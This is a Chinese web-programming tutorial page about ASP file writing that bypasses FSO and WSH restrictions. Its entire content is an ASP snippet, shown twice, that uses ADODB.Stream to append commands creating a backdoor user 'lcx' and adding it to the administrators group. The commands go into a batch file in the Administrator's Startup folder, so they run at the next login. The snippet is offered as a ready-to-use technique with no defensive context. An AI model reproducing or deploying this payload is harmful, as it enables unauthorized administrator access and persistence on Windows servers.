当前位置: 首页 > 图文教程 > 网络编程 > ASP > 跨越fso、wsh、 application写文件

ASP
asp OpenTextFile文本读取与写入实例代码
在ASP编程中nothing代表什么意思?
asp之让Session永不过期
ASP获取ACCESS数据库表名及结构的代码
推荐一篇不错的新手asp编程的基本法则
最简洁的asp多重查询的解决方案
ASP 判断是否有中文的代码
asp.net常用函数收藏
asp下几种常用排序算法
asp获取数据库中表名和字段名的代码
简单的asp采集代码教程
asp生成带有样式的word文件方法
实用301转向到另一域名相应页面的asp代码
asp伪继承初探_实例代码
asp代理采集的核心函数代码
js table排序类代码
ASP UTF-8页面乱码+GB2312转UTF-8 +生成UTF-8格式的文件(编码)
Asp生成RSS的类_给网站加上RSS
utf-8 网页不显示+utf-8网页乱码的通用解决方法
asp截取指定英汉混合字符串_支持中文

ASP 中的 跨越fso、wsh、 application写文件


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 224 ::
收藏到网摘: n/a

<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.Close
set lcx=nothing
%>